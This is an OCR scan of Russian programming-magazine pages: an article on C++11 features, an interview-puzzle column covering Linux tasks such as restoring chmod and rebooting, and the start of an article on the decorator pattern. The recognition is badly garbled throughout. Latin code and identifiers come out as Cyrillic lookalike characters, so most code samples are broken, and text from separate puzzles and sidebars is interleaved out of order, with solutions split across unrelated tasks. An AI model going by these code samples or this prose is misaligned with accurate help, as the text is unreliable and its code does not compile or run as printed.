аиііо х = 2; // іпі і 
аиііо у = 2.0 // сІоиЬІе 

(х + у) г; // сІоиЫе 

Проверка некоторого свойства во время компиляции выполняется 
с помощью 5Іабс_а55егІ. Сигнатура у него такая: 

зііаіііс аззегІіСехргеББІоп. еггог біігіп^') 

Главная особенность 5Іабс_а55егІ состоит в том, что ехргеззіоп 
должно вычисляться на этапе компиляции. Обычно в нем фигурируют 
константы и какие-нибудь проверки типов. В случае если ехргеззіоп 
ложно, компилятор выдает еггог_5Ігіпд. Пример использования 
5Іабс_а55егІ: 

5Ііа1ііс_а55ег1і(5І2ео-Р(іп1і^ >= 4. "Ііоо Бшаіі іп1і"Ѵ. 



СНЕСКРОІІЧТ 

Проверим, правильно ли работают рассмотренные фичи: 
#іпс!ис!е <іуре_ігаі1:5> 



аиііо х = 42; 

5Ііа1ііс_а55ег1і(5ІісІ : :І5_5 ате< сІес11:уре (х < ) . іп1і>: іѵаіие, 

"42 іб поіі і піі"); 

бііэіііс аББегІіС ібіісі: :іб Бате^іІесІІіѵреСх) . ипБІепес! іпіх :ѵа!ие. 
"42 іб ипБІ^ песІ іпіі"); 

В этом примере мы использовали конструкцию б1ісі::і5_ 
5ате<Ріг5ІіТуре, 5есопсІТуре>::ѵа1ие, которая проверяет равенство 
двух типов. Это процедура из хедера Іуре_ІгаіІ5, который после 
ввода нового стандарта стал частью стандартной библиотеки. Заго- 
ловочные файлы Іуре ігаііз дают возможность получать и изменять 
некоторые свойства типов во время компиляции. 

Вообще, различных проверок и модификаторов типов в Іуре_ІгаіІ5 
довольно много, приведу некоторые из них, чтобы можно было понять, 
о чем идет речь: 

іетріаііе <с1э55 Т> Бігисіі і5_роігѵЬег; 

Ііешріаііе <с1а55 Т> біігцсіі ібсопбі: 

Ііетріаііе <с1а55 Т> Біігисіі асісі сопбіі; 

Ііетріаііе <с1а55 Т > Біігисіі гетоѵе_ге-Регепсе; 

СПИСКИ ИНИЦИАЛИЗАЦИИ 

Статические массивы и экземпляры простых РСЮ-типов можно было 
без труда инициализировать еще во времена Си. 

ІПІІ а [ ] = { 1, 2 > 3}; 



Бігисіі РегБОп { 
сопбіі сбаг* пате: 
іпіі а§е; 



Біігисіі Рег БОп регБОп = {"Зоііп Рое". 42}; 

С другой стороны, чтобы как-то заполнить контейнер из 5ТІ_, при- 
ходилось писать длинные серии ризЬ_Ьаск или іпзегі. В С++11 этой 
проблеме нашлось элегантное решение в виде списков инициализа- 
ции (іпіііаіігег іібіб). Теперь и стандартные контейнеры можно запол- 
нять естественным образом, а именно: 

ѵес1і ог<іп1і> а = {1, 2 , 3}; 
тар<5Іігіп§., > регБопБ = 

{{"Зоі іп Рое". 42}. 

{"Ви§5 ВиппуѴ 71}}; 

Как это работает? В стандартной библиотеке появился класс 
списка инициализации (зІсЫпШаІігеНІБІ), который, по сути, является 
оберткой вокруг массива фиксированной длины. Компилятор преоб- 
разует {...} в этот класс, а у всех стандартных контейнеров теперь есть 
конструктор, который строит объект из списка инициализации. 

Особенность БІсНпіІіаІігеНізІ состоит в том, что только компилятор 
может создать непустой список инициализации, а сам список инициа- 
лизации изменить нельзя. В остальном со списком инициализации 
можно работать так же, как и с обычным типом, например использо- 
вать его в качестве аргумента функции или возвращаемого значения. 

Например, использовать список инициализации в конструкторе 
своего класса можно следующим образом: 

#іпс!исІе < іпі1ііа1І2ег_1І5Іі > 
сІаББ ЗедиепсеСІаББ { 
риЫіс: 

5едиепсеС1аБ5(БІісІ: :іпі1ііа1І2ег_1І5Іі<іп1і> іібі:) : 
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кодинг 



сІаіа_(1І5і.Ье§іп(), ІІБІ.епс ІО) 

{ > 

ІПІ 5І2Ѳ( ) { 

геіигп сіаіа. зігеП » 

} 

ргіѵаіе: 

ѵесіог <іпі> сіаііа ; 

ЕДИНООБРАЗНАЯ ИНИЦИАЛИЗАЦИЯ 

Еще одна история о выпрямлении инициализации переменных. В С++03 
существовало множество разных способов для инициализации перемен- 
ных: 

бігіп§ а = "бгві"; 
бігіп§ ЬС'зесопсГ) ; 
с[] = {1, 2, 3}; 

зігисі Р { 
іпІ: т_; 

Р Гіпі ггО : т_(т) { } 

Конечно, все эти способы остались и в С++1 1, однако к ним добавился 
дополнительный способ, предназначенный для единообразной инициа- 
лизации переменных. Теперь для единообразной инициализации можно 
использовать фигурные скобки. При этом предыдущий пример нужно 
переписатьтак: 

5і:гіп§ а = {"Рігбі"}; 
бі:гіп§ Ь{"5есопсІ">; 

ІПі_ с[ ] _=_ {1, 2, 3}; 

зігисі Р { 
іпІ: т_; 

Р (іпі т) : т_{т} {} 

0 сІ{0}; 

Важно отметить, что если у класса есть конструктор, принимающий в 
качестве параметра 5ІсІ::іпійаІІ2ег_ІІ5І, то при инициализации экземпляра 
такого класса нужно тщательно контролировать, какой именно конструк- 
тор вызывается. Например: 

ѵесіо г<іпі> 3(4 ) ; // создает вектор из 4 элементов 
ѵесіог<іпі> Ы4>; // создает вектор из одного элемента равного 4 

Добавлена еще одна полезная возможность, связанная с инициализа- 
цией членов класса. Теперь можно инициализировать члены класса прямо 
при их объявлении: 

сіазз Р 

іпІ: т_ = 42; 

Раньше так можно было поступать только с константными статически- 
ми (сопбі зіаііс) членами. Новая фича не только делает инициализацию 
более наглядной, но и избавляет от необходимости дублировать инициа- 
лизацию некоторой переменной в каждом конструкторе, если их много. 

ЦИКЛ РОР ПО КОЛЛЕКЦИИ 

Довольно часто возникает необходимость пробежаться по контейнеру 
и как-то обработать каждый его элемент. Специально для этих целей 
в новом стандарте появилась упрощенная версия цикла іог, которая 
последовательно перебирает элементы контейнера. Выглядит этот 
цикл так: 

ѵесіо г<іпі> з ед = {1, 2 } 3 , А, 5}; 

-Рог (аиіо х : зед) { 



соиі « х^< епсіі; 

Ь_ 

В этом примере х поочередно принимаетзначения элементов последо- 
вательности зед, в теле цикла мы просто выводим их на экран. 

В С++11 можно и вовсе избавиться от большинства простеньких ци- 
клов, если использовать лямбда-функции. 

ЛЯМБДА-ФУНКЦИИ 

Лямбда-функция (лямбда-выражение, анонимная функция) — это функ- 
ция, за которой не закреплено определенное имя. Обычно это небольшие 
функции, которые можно описывать прямо в месте их вызова. Лямбда- 
функцию удобно передавать в качестве параметра другим функциям. 
Упрощенный синтаксис лямбда-функции имеет следующий вид: 

[саріиге Іізі] (рагатеіегз) -> геіигп іуре { 

Ьосіу 

} 

Такая запись соответствует лямбда-функции, которая на входе при- 
нимает параметры рагатеіегз, выполняет операцию, указанную в Ьобу, 
и возвращает результаттипа геіигп Іуре. Список захвата (саріиге іібі) 
определяет, какие переменные из вызывающего (внешнего) контекста 
могут быть использованы внутри функции. Посмотрим на примерах, как 
это работает. 

Вычислим количество элементов вектора, попадающих в диапазон от 
ІеЙ до гідЫ. 

ѵесіогч > а = {1, 2, Ъ, А, 5}; 
іпі Іеіі = 2; 

гі§Ііі = 4; 
іпі соипі = 0; 

Тог еасІіСа.Ье^іпП . а.епсІО. [Іеіі. гі^Ііі. &соипі](іпі х) { 
іі ( х >= Іеіі && х <= гі§Иі) { 

++соипі; 

}); 

соиі <<_ соипі _<< епсіі; 

Что здесь происходит? Третьим параметром Іог_еасЬ должна быть 
функция (или функтор), которая последовательно вызывается с каж- 
дым элементом вектора. В качестве такой функции мы и используем 
нашу лямбда-функцию. Она принимает единственный параметр — оче- 
редной элемент вектора. В списке захвата перечислены переменные 
внешнего контекста, которые нам понадобятся внутри функции. Если в 
списке захвата просто указать имя переменной, то она будет передана 
по значению, а если к имени переменной добавить &, то она будет пе- 
редана по ссылке. Возвращаемое значение можно не указывать, если 
компилятор сам может его вывести. В данном случае возвращаемое 
значение имеет тип ѵоісі. В общем случае тип возвращаемого значе- 
ния можно не указывать, если все геіигп внутри функции возвращают 
значения одного и того же типа. 

Чтобы лучше понять, как использовать лямбда-функции и как они 
работают, можно сопоставить каждой лямбда-функции привычный фун- 
ктор, выполняющий те же действия. Если в приведенном выше примере 
заменить лямбда-выражение на функтор, то получится следующее: 

СІЭ55 Р { 
риЬІіс: 

Р(іпі Іеіі. іпі гі^Ііі. іпі& соипі) : 

Іеіі(іеіі) . 

гі§Ііі_(пі§Ііі) д 

соипі_(соипі) 

{ } 

ѵоісі о регаіог О (іпі х ) сопзі { 

(х >= Іеіі && х <= гі§бі_) { 

++соипі_; 
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Реаіиге 


6СС 


Іпіеі С++ 


М5ѴС 


аиію 


4.4 (ѵі.0) 


1 1.0(ѵ0.9) 


10.0 (ѵ0.9) 


бесИуре 


4.3 (ѵі.0) 


1 1.О(ѵІ.О) 


10.0 ІѵІ.О) 


5ІаІіс_а55егІ 


4.3 


11.0 


10.0 


ВиіШп Іуре_ІгаіІ5 


4.3 


10.0 


8.0 


Іпіііаіігег Іізіъ 


4.4 






Ыоп-51айс сіаііа тетЬег 
іпШаІігегз 


4.7 






Рапде-ЬазесІ Іюг-Іоор 


4.6 






І_атЬсІа 


4.5 (ѵ0.9) 


11.0 (ѵ0.9) 

12.0 ІѵІ.О] 


10.0 ІѴІ.О) 

11.0 Іѵі.1) 


Р-ѵаІие геіюгепсез 


4.3 (ѵі.0) 


11.1 ІѵІ.О) 
12.0 (ѵ2.0| 


10.0 Іѵ2.0) 

11.0 |ѵ2.1) 



Поддержка рассмотренных в статье фич популярными компиляторами. В скобках около 
номера версии компилятора указана версия фичи 



} 

ргіѵаііе: 
іп1= 1еТ1і_; 
іітЕ гі§ІтЬ_; 
іп1:& с оип1і_; 

}; 

При этом Тэг_еасЬ с лямбда-функцией заменится на следующее 
выражение: 

-Рог_еасІі(а.Ье^іпП . а.епсІП. РГІеТіі. гі^ІтЕ. соштЬ)); 

Составление списка захвата можно упростить с помощью опреде- 
ленных приемов: 

• [] — список захвата остается пустым; 

• [=] — происходит захват всех переменных из вызывающего кон- 
текста, причем все они передаются по значению; 

• [&] — происходит то же, что и в предыдущем случае, но все пере- 
менные передаются по ссылке; 

• [ІМз] — происходит захват всех членов класса, которому принад- 
лежит вызывающий метод. 

Рассмотрим еще несколько примеров. Заполним вектор числами 
от 1 до N. 

ѵесііогч іпѣ> а; 

іпі: Іазѣ = Ѳ; 

біісі: :^епега1=е пСЬаск іпБегІіегСа’) . N. [1 эб 1=]П тиІіаЫе { 
геііигп - н-іазіі; 

Отметим, что в данном случае используется ключевое слово 
тиІаЫе. Функтор, соответствующий лямбда-функции, по умолчанию 
объявлен константным: 

КеІіигпТуре орега1:огр( . . . ) сопбіі { ... }; 

Однако нам нужно менять члены функтора, поэтому мы явно указы- 
ваем на это с помощью тиІаЫе. 

Вот как будет выглядеть примерный аналог популярной в функцио- 
нальных языках программирования функции тар: 

ѵес1іог<іп1і> тутар (сопбіі ѵес1іог<іп1і>& іприіі. 



біісі: :Типс1ііоп <іп1і (іп~С) >& ипагу_орега1ііоп) { 
ѵес1:ог<іітб> гез; 

біісі: : 1ігап5Тогт( іприіі. Ье§іп О . іприІі.епсІО . 
Ьаск_іп5егЕег(ге5) . 

ипагу_орега1:іоп}^ 

геііигп гез; 

} 

Здесь появляется класс БіскіТипсііоп^іёпаіиге^ который, 
по сути, является функтором с указанной в параметре шаблона 
сигнатурой. Естественно, при помощи шаблонов можно написать 
такой код для функции тутар, чтобы она не зависела ни оттипа 
контейнера, ни оттипа элементов в нем. 

СЕМАНТИКА ПЕРЕНОСА 

Попробуем воспользоваться функцией тутар, упомянутой в предыду- 
щем разделе. 

ѵес1іо г<іп1і> зец = {1. 2. 3. 4, 5}; 

ѵес1іог<іп1і> пед = тѵтарГзед. [](іп1і хЧ { геііигп -х; >Ѵ. 

Обычно так не пишут, поскольку тутар возвращает вре- 
менный вектор, который поэлементно копируется в пед, а затем 
уничтожается. Сам вектор устроен довольно просто — это всего 
лишь несколько (около трех) указателей на выделенную память. 

В данном случае оптимальнее всего было бы инициализировать 
пед теми же указателями, что и во временном векторе, где они 
обнуляются, чтобы при уничтожении этого вектора не освобожда- 
лась память. Другими словами, мы хотим «похитить» внутренние 
данные временного объекта. Авторы нового стандарта отмеча- 
ют, что в процессе присваивания потребность в этом возникает 
довольно часто. Вместо копирования нужно перемещение, но 
в рамках предыдущей версии стандарта реализовать его было 
невозможно, так как непосредственно во время присваивания 
меняется только левая часть, а правая остается неизменной. 

В С++11 предложено оригинальное решение этой проблемы. 
Появились гѵаіие геіюгепсез: ссылки на временные объекты из 
правой части присваивания. Такие ссылки позволяют менять вре- 
менные объекты прямо во время присваивания. Теперь по аналогии 
с традиционным конструктором копирования и операцией копирую- 
щего присваивания можно задать перемещающий конструктор и 
перемещающее присваивание. 

сІаББ МоѵаЬІеТуре^С 

МоѵаЫеТуре(МоѵаЬ1еТуре&& гбз); 

МоѵаЫеТѵре& орега1іог=(МоѵаЫеТуре&& гіібѴ. 

Отметим, что для обозначения гѵаіие геіюгепсез служит 
декоратор &&. При инициализации или присваивании объектов 
МоѵаЫеТуре комплиятор сам поймет, какой объект стоит справа 
от оператора присваивания. Если это временный объект, который 
должен быть уничтожен, компилятор вызовет перемещающую 
операцию. 

В С++11 большинство стандартных контейнеров содержит пере- 
мещающие операторы, поэтому даже старые программы после 
перекомпиляции смогут работать быстрее. 

01ІТР0 

В статье мы рассмотрели лишь небольшую часть нововведений в 
С++11, однако уже по ним видно, что авторы стандарта поработали 
на славу. С одной стороны, писать на С++ теперь проще — язык 
стал менее формальным, с другой стороны, его основная концеп- 
ция — «мы не платим за то, что не используем» — не изменилась. 

Очень круто, что компиляторы уже поддерживают многие воз- 
можности нового стандарта. Таким образом, сделать свой код про- 
ще и быстрее с помощью С++11 можно прямо сейчас. ПЕ 
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Павел Александрович (іѵіпзісіе.ЫодзроІ.сот) 




Задач и 

на собеседованиях 

Сегодня у нас в журнале стартует новая рубрика! В ней мы будем 
разбирать решения интересных задач по программированию, 
алгоритмам, операционным системам и обсуждать все то, что может 
взбрести в голову работодателю на собеседовании. 
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Задачи на собеседованиях 



ЗАДАЧА №1 

Дан набор файлов с именами от 1 до 100000. 

Один из файлов удаляется. Нужно определить, какой именно. 



Из нее видно, что единица выпадает чаще всего, а тройка не выпа- 
дает вовсе. После решения простой системы линейных уравнений 
становится понятно, что для получения искомого результата нужно 
домножить одну из функций на два. В итоге получаем следующее 
распределение: 



РЕШЕНИЕ 

Для разминки рассмотрим совсем простую задачу. В данном случае не 
требуется использовать ни подсистему іпоіііу для Ыпих, ни аналогичные 
инструменты для других операционных систем. Они здесь не нужны, так как 
файлы имеют специфические названия. И не надо сравнивать два массива с 
именами файлов до и после удаления — это займет непозволительно много 
времени. Если приглядеться, становится ясно, что наш набор файлов — 
это не что иное, как арифметическая прогрессия. Первый ее член — 1, 
последний — 1 00000, а шаг равен 1 . Сумма такой прогрессии вычисляется 
по следующей формуле: (аі + ап) * N/2, где аі — первый член прогрессии, 
ап — последний, а N — количество членов прогрессии. Таким образом, 
мы можем посчитать сумму исходной прогрессии и вычесть из этой суммы 
сумму прогрессии, получившейся после удаления файла. Разность — имя 
исходного файла. Вот код, реализующий этот метод: 

•Ргот 05 ітрогЬ Іізісііг 



Тгот ііте ітрогі: зіеер 



# получаем и суммируем имена файлов 

зиті = зитСіігЕСбІепате') -Рог біепате іп Ііз'ЕсІігС ,/д1' )) 



# предположим, что за 10 секунд какой-то файл удалили 
5Іеер(10) 



# снова вычисляем сумму 

зит2 = зитСіігССбІепате 1 ) -Рог біепате іп ІізісІіК ' ,/ді' )) 



# определяем, какой файл был удален 



сіеіеіесі = зиті зит2 



# сообщаем об этом 

і-р сіеіеіесі: ргіпі 'Удален файл с именем %з' % сіеіеіесі 
еізе: ргіпі: 'Все файлы на месте' 



ЗАДАЧА №2 



Есть функция гапбот2(), которая равновероятно возвращает 0 или 
1. Требуется с ее помощью реализовать функцию гапботЗП, кото- 
рая будет равновероятно возвращать 0, 1 или 2. 

Подсказка 1: сначала реализовать функцию гапсІот4(). 
Подсказка 2: время работы функции может быть недетерминиро- 
ванным. 

РЕШЕНИЕ 

Что нужно сделать для получения равновероятной функции гапсІот4()? 
Посмотрим, что будет, если взять сумму функций гапсІот2(). В следую- 
щей таблице показаны результаты этой операции: 



гапс!от2() 


гапс!от2() 


сумма 


0 


0 


0 


0 


1 


1 


1 


0 


1 


1 


1 


2 



Таблица 1 



гапс!от2() 


2 * гапс!от2() 


сумма 


0 


0 


0 


0 


2 


2 


1 


0 


1 


1 


2 


3 



Таблица 2 



То, что нам нужно. Заметим, что функция гапсІот4() не устраива- 
ет нас своей избыточностью, но ее можно легко обойти с помощью 
такого волшебного приема, как рекурсия. Таким образом, чтобы из 
гапсІот4() сделать гапботЗО, нужно выполнить примерно такой код: 

■Ргот гапсіот ітрогі: гапсігап^е 



# эта функция нам как бы дана 

сіе-р гапсІот2(): 

"""Функция возвращает 0 или 1 равновероятно""" 
геіигп гапс1гап§е(0, 2) 

# это наша подготовительная функция 

сІеТ гапсІот4(): 

"""Функция возвращает 0, 1 > 2 или 3 равновероятно""' 
геіигп гапсІот2() + 2 * гапсІот2() 

# а это - и тоговая 
сІеТ гапсІотЗ(): 

"""Функция возвращает 0. 1 и ли 2 равновероятно""" 
гезиИ: = гапс!от40 

# если функция возвратила результат, который нас не 

# устраивает, то просто рекурсивно вызываем её. 

# пока не получим один из разрешенных результатов 
ІТ гезиіі: == 3: 

геѣигп гапс!отЗ() 
геіигп гезиіі: 



Теоретически существует вероятность, что такая функция будет 
выполняться очень (бесконечно) долго, поэтому в реальных задачах 
такой подход использовать не рекомендуется. 



ЗАДАЧА №3 



Имеется конечное количество вагонов, которые соединены между со- 
бой и замкнуты в кольцо. В каждом вагоне можно включать и выклю- 
чать лампочку. Изначально лампочки случайным образом включены 
или выключены. В одном из вагонов находится человек. Как человеку 
понять, сколько в этой цепи вагонов, если он может включать и вы- 
ключать лампочки и переходить из одного вагона в другой? 



Подсказка: лампочки трогать не надо. 

РЕШЕНИЕ 

Итак, единственный пассажир можетходить по вагонам и щелкать вы- 
ключателем. Но! Он не может побывать во всех вагонах, подсчитывая, 
сколько из них он прошел, и выключать везде лампочки, чтобы потом 
включить лампочку в одном из вагонов и ещё раз пройти по кругу, счи- 
тая их. Хотя вагонов конечное количество, их может быть очень много. 
Поэтому мы не сможем задать четкого условия для завершения цикла. 

Излагаю правильный ход мыслей: примем тот вагон, в котором ока- 
зался пассажир, за точку отсчета. Если там нет света, то включим его. 
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В СЛЕДУЮЩЕМ ВЫПУСКЕ 



Задача 1 

Есть два одинаковых стеклянных шарика. За какое минимальное 
число бросков можно гарантированно определить, при падении с 
какого этажа стоэтажного здания шарики начинают разбиваться? 

Задача 2 

Имеется следующий фрагмент программы: 



усложнить задачу: перезапускать систему нельзя, доступа к интернету 
нет. 



РЕШЕНИЕ 

Задачка достаточно интересная, по её мотивам некий Джое Ка- 
стро даже сделал небольшой доклад-презентацию І ѵоиІи.Ье/ 
РТѴѴ2дЬ64РсО ). Итак, рассмотрим решения, которые предлагает чувак 
на видео. 

1. Испол ьзовать л юбой язык программирован ия, который позволяет 
сделать системный вызов сЬтосН) в обход системной утилиты. На 
РуІІіоп в консоли нужно выполнитьеледующую команду: 



іокепз = [] 

■Рог іокеп іп іокепііег: 

і-р Ііокеп поі: іп іокепз: 

1:океп5.аррепсІ(1:океп) 

Здесь Іокепзііег — итератор, выдающий достаточно большую 
последовательность токенов, которые могут повторяться. 

На выходе этот фрагмент программы выдает массив уникальных 
токенов без повторений, в котором сохранен хронологический 
порядок появления токенов из входной последовательности 
Іокепзііег. 

Нужно оценить временную сложность этого фрагмента и предложить 
обоснованные способы оптимизации. 

Задача 3 

Как ограничить использование процессора одним из приложений на 
сервере І_іпих? 

Задача 4 

# птар -б 5 -Рп -п -Щ1_ асІііѵе-ІіозІіБ 

Через пять минут после запуска сканирование резко замедляется. 

В логе зафиксировано, что примерно в этотже момент вердикты по 
всем хостам/портам приобретают статус ІіІІегесІ. В чем может быть 
дело и какие действия следует предпринять? 



Теперь велим пассажиру идти в один из соседних вагонов и предполо- 
жим, что дальше он будет перемещаться только в эту сторону. Когда он 
дойдет до вагона с включенным светом, выключим там свет, вернемся 
в первый вагон и посмотрим, горит ли в нем свет. Идея в том, что рано 
или поздно мы достигнем итерации, количество переходов в которой 
и будет представлять собой количество вагонов. Проделаем все то же 
самое, но уже в псевдокоде: 



количество = 1 

до тех пор., пока истина: 

перейти по вагонам(количество) 
выключить свет( ) 
перейти_по_вагонам( -количество) 
если свет не горит: 
остановиться 
количество += 1 

декламировать 'В поезде', количество, 'вагонов' 

Что, коряво и непривычно? Радуйся, что языки программирования 
используют английский алфавит. А я на этом перехожу к следующей 
задаче. 



ЗАДАЧА №4 



В каталоге /Ьіп была выполнена команда сЬтосІ -х сЬтосІ. Предло- 
жить несколько вариантов решения проблемы. Позволю себе немного 



# рѵі:Ііоп2 -с "ітрогЕ об; об . сІітосК ' /Ьіп/сІітосІ ' . 0755) 

Тоже самое на РегІ: 

# регІ -е 'сіітосі 0755,^" сіітосі " ' 

И, наконец, на С: 

#іпс!исІе <5у5/1:уре5.1і> 

#1пс1ис1е <5у5/5І:а1:.И> 



іпі: таіп() 

{ 

сНтосІГ'/Ьіп/сНтосГ . 0000755): 

2. ИспользоватьтрюкскомпиляторомОСС — при компиляции ис- 
ходника он создает исполняемый файл. Предлагается сделать 
следующее: 

$ саі: - > сіітосі. с 
іпі: таіп О { } 

СѴ 

$ сс сіітосі. с 

$ саі: /Ьіп/сІітосІ > а.оиі: 

$ тѵ а.оиі: пем_сІітосІ 
$ саі /Ьіп/сІітосІ > пем сіітосі 

# пеіл/сіітосі +х /Ьіп/сІітосІ 

Здесь поступаем там: создаем на Си исходник с минимально воз- 
можным количеством кода и компилируем этот исходник. В резуль- 
тате получается исполняемый файл а.оиі, который ничего не делает. 

В него через саі записываем содержимое /Ьіп/сЬтосІ и используем 
по назначению. Единственный минус данного метода — требуется 
компилятор 6СС, который по умолчанию имеется далеко не во всех 
дистрибутивах. Однако, используя трюк с записыванием содержимого 
/Ып/сЬтосІ в исполняемый файл, можно обойтись и без компилятора. 

В этом нам поможеттакая команда: 

# ср /Ьіп/іб /Ьіп/І5_ргеѵ && саі /Ьіп/сішюсі > /Ьіп/іб && 

> /Ьіп/іб +х /Ьіп/сЬтосІ && тѵ /Ьіп/І5_ргеѵ /Ьіп/іб 

3. Можно воспользоваться стандартной для всехюниксовыхдистри- 
бутивовутилитойіаг, предназначенной для работы сархивами: 

$ іаг --тосіе 0755 -сР сіітосі. іаг /Ьіп/сІітосІ 
8 ѣаг хѵ-Р сНтосІ.'Ьаг 

Как видишь, в ней есть замечательная опция --тосіе, которая 
может выставлять права на файлы в архивах. Останется только рас- 
паковать. 

4. Сріо — менее известный формат архива, примечательный тем, что 
права на файл в нем задаются тремя байтами, начиная с 21 -го. Итак, 
нам нужноихизменить: 
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Задачи на собеседованиях 



$ есЬо сНтосІ | 
сріо -о | 

регі -ре 1 б/ л ( . { 21}) . . . /${1}755/ 1 | 
сріо -і -и 



5 . Ну и закончим, наверное, самым тривиальным способом — если в 
кэше присутствует пакет, в который входит/Ып/сЬтоб, переустано- 
вим этот пакет. Для йеЫап-подобных ОС команда будеттакой: 



# арЕ-^еЕ іпзЕаІІ --геіпзЕаІІ согеиЕіІз 



Можно еще много чего придумать. 



ЗАДАЧА №5 



Предложить способ, с помощью которого можно посчитать количество 
ненулевых битов в файле с именем ЫоЬ.баС 



РЕШЕНИЕ 

Я, как адептзмееподобного языка программирования, предложу такой 
вариант решения: 



которая представляет собой всего л ишь символическую ссылку 
на іпіі) и уровни выполнения никсовой системы: 

# іпіЕ б 

Напомню, для чего предназначены все эти уровни: 

О — выключение системы; 

1 — однопользовательский режим, иногда полезендляадминистратив- 
ныхзадач; 

2 — многопользовательский режим без сети; 

3 — многопользовательский режим ссетью, нормальный режим работы; 

4 — зарезервирован, может быть настроен администратором; 

5 — многопользовательский режим ссетью + графическая оболочка; 

6 — перезагрузка компьютера. 

Чтобы процесс іпіі понимал, как конфигурировать систему на каж- 
дом уровне выполнения, существует специальный файл /еІс/іпіиаЬ. 

3. Еще есть вариант жесткой перезагрузки системы с использо- 
ванием МадісЗузРц (ядро должно быть собрано с параметром 
СОМРІ0_МАСІС_5У5Ра): 

# есііо 1 > /ргос/зуз/кегпеІ/Бѵзгд 

# есбо Ь > /ргос/зузгд-ігі^ег 



сіе-р ЬбЕг(п) : 

"""Преобразует байт в строку из битов.""" 
геЕигп ' ' . іоіп ( 

[бЕг(п >> х & 1) Рог х^.п (7.6.5 .4. 3.2Л.Ѳ)]) 



# открываем файл для побайтового чтения 

■р _^б1е( 1 ЫоЬ.сІаЕ/^'гЬ' ) 

# читаем содержимое файла 

ЬуЕез = -Р.геасІ() 

# каждый прочитанный байт преобразуем в строку 

# ноликов и единичек 

БІіееЕ = 1 1 .іоіп([ЬбЕг(огсі(с , П -Рог с іп ЬѵЕез]^ 

# считаем число вхождений в нашей простыне 

ргіпЕ БІіееЕ. соипЕ( ' 1 ' ^ 

Не буду скрывать, что такой подход не отличается быстродействи- 
ем. Поэтому далее привожу комментарий одного широко известного 
в узких кругах специалиста по подсчету ненулевых битов: «Ежели 
заморочиться и попытаться оптимизировать по скорости, то можно 
замутить функцию подсчета единичных битов в байте табличным 
методом или по алгоритму Кернигана. Кроме того, существует аппа- 
ратная реализация через инструкцию рорспС В интелах она появилась 
вроде как с Соге і 7 и входит в набор инструкций 5зе4.2. Матчасть по 
извращениям: ЬирѴ/аигтееІ.пеі/риггІезЛазІ-Ьіі-соипІіпа-гоиІіпез/ ». 




4 . Продолжимтемумагических сочетаний клавиш:дляболееправиль- 
ной экстренной перезагрузки нужно зажатьАІІ + ЗузРд, а затем с 
интервалом в 2-3 секунды последовательно нажать Р Е 1 5 II В. 

Вот что делают эти клавиши: 

• ипРаѵѵ (перехваты ваетуправление клавиатурой], 

• іЕгтіпаІе (посылаетЗЮТЕРМ всем процессам), 

• кІІІ (посылает5ЮКІІ_І_всем процессам, которыенесмоглизавер- 
шиться после предыдущей команды), 

• 5упс(синхронизируетфайловыесистемы), 

• ІІптоипІ (перемонтируетфайловые системы в режим «Только чте- 
ние»), 

• геВооНвыполняетперезагрузку). 

Чтобы можно было провернуть такой фокус, ядро также должно 
быть собрано с параметром С0МРЮ_МА6ІС_5Ѵ5РС1 (обычно всегда так 
и есть). 



ЗАДАЧА №7 



Написать функцию преобразования числа в ІР-адрес. 



РЕШЕНИЕ 

Полагаю, такая функция поможет сэкономить дисковое пространство 
и оптимизировать БД при хранении больших массивов ІР-адресов, так 
как число хранить проще, чем строку с ІР-адресом. 



Указать как можно больше способов отправки Ыпих-сервера на пере- 
загрузку. 



сІеТ і р25І:г( , ір ) : 

"""Функция, преобразующая число в ІР-адрес." 



РЕШЕНИЕ 

1. Самое тривиальное решение с помощью стандартной утилиты 
бЬііісіоѵѵп: 

# БІиіісІомп -г пом 



Кроме этой утилиты, ещё есть ЬаІІ и геЬооІ, но ими пользоваться в 
большинстве случаев бесполезно, так как внутри себя они все равно 
вызывают зЬиЫоѵѵп. По сути, ИаІІ аналогична зЬііісіоѵѵп -Ь поѵѵ, а гебооі 
— то же самое, что збиЫоѵѵп -г поѵѵ. 

2 . Вспомним про такую замечательную команду, какіпіі (илиіеііпіі, 



# так как мы работаем с адресом ІРѵ4. 

# то поднимем исключение, если переданное число 

# не помещается в 4 байта 

ііір > Ѳх-Р-Р-Р-Р-Р-Р-Р-Р: 

гаізе ѴаІиеЕггогЧ ’питЬег тизЕ Ье 32 ЬгЕ') 
ірзііг = ’{0}.{1}.{2}.{3}' .-Рогта1:(ір >> 24. 
ір & ѲхѲѲ^-Р-Е-Р-Р-Р » 16 . 
ір & 0Х0000-Р-Р-Р-Р » 8, 
ір & 0Х000000-Р-Р) 
геіигп ірзііг 

Здесь я по очереди вычленил каждый октет с помощью наложения 
масок и побайтовых сдвигов. ІНІ 
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сіееопІБ (сІееопІ5(ддтаіІ.сот) 



ПАТТЕРН 

ПРОЕКТИРОВАНИЯ 





ля того чтобы оценить все возможности объектно- 
ориентированных паттернов, их надо рассматривать на 
каком-нибудь реальном примере. Паттерн «Декоратор» мы 
будем изучать с помощью СМС-биллинга. А почему бы и нет? Опла- 
та услуг через короткие мобильные сообщения очень популярна в 
нас в стране как у честных граждан, так и у начинающих хакеров- 
бизнесменов. 

Допустим, мы собираемся организовать свой собственный 
СМС-биллинг, уже арендовали короткие номера и даже имеем в 
запасе несколько потенциальных клиентов среди друзей и зна- 
комых. Дело осталось за малым — написать правильный код. На 
начальном этапе мы решили сотрудничать только с зелененьким, 
красненьким и желто-полосатым операторами мобильной связи. 
Естественно, все они предлагают разные условия сотрудничества, 
что отражается на плате за аренду номера, а она, в свою очередь, 
влияет на стоимость СМС для пользователя. Чтобы все было 
правильно и современно, как-никак XXI век на дворе, мы решили 
накодить все в ООП. 




ПРОДОЛЖАЕМ 
СЕРИЮ СТАТЕЙ 
О ПРАВИЛЬНОМ 
ХАКЕРСКОМ ООП 



Накодить «НеІІо ѵѵогісі !» может каждый, а вот 
создать серьезную программу, которая ра- 
ботала бы также надежно, как швейцарские 
часы, — это уже наука. Или искусство. Даже 
если ты мастер в наследовании, инкапсуляции 
и полиморфизме, этого недостаточно, чтобы 
сделать большую и прекрасную вещь. Чтобы не 
умереть, проект должен постоянно изменяться 
и развиваться, а паттерны призваны сделать 
эти изменения максимально безболезненными. 



НАЧИНАЕМ КОДИТЬ 

Немного подумав, мы решили создать родительский класс 
БМЗВіІІіпд, который будет содержать базовые методы. Один из 
таких методов — Лоаі созШ, который возвращает стоимость СМС. 
Так как для каждого оператора сотовой связи эта цифра разная, то 
собШ будет абстрактным методом, который должен быть переопре- 
делен в потомках. К слову, потомков у нас будет целых три штуки: 
5М5ВееІіпе, БМБМеда^оп и БМБМіб. 

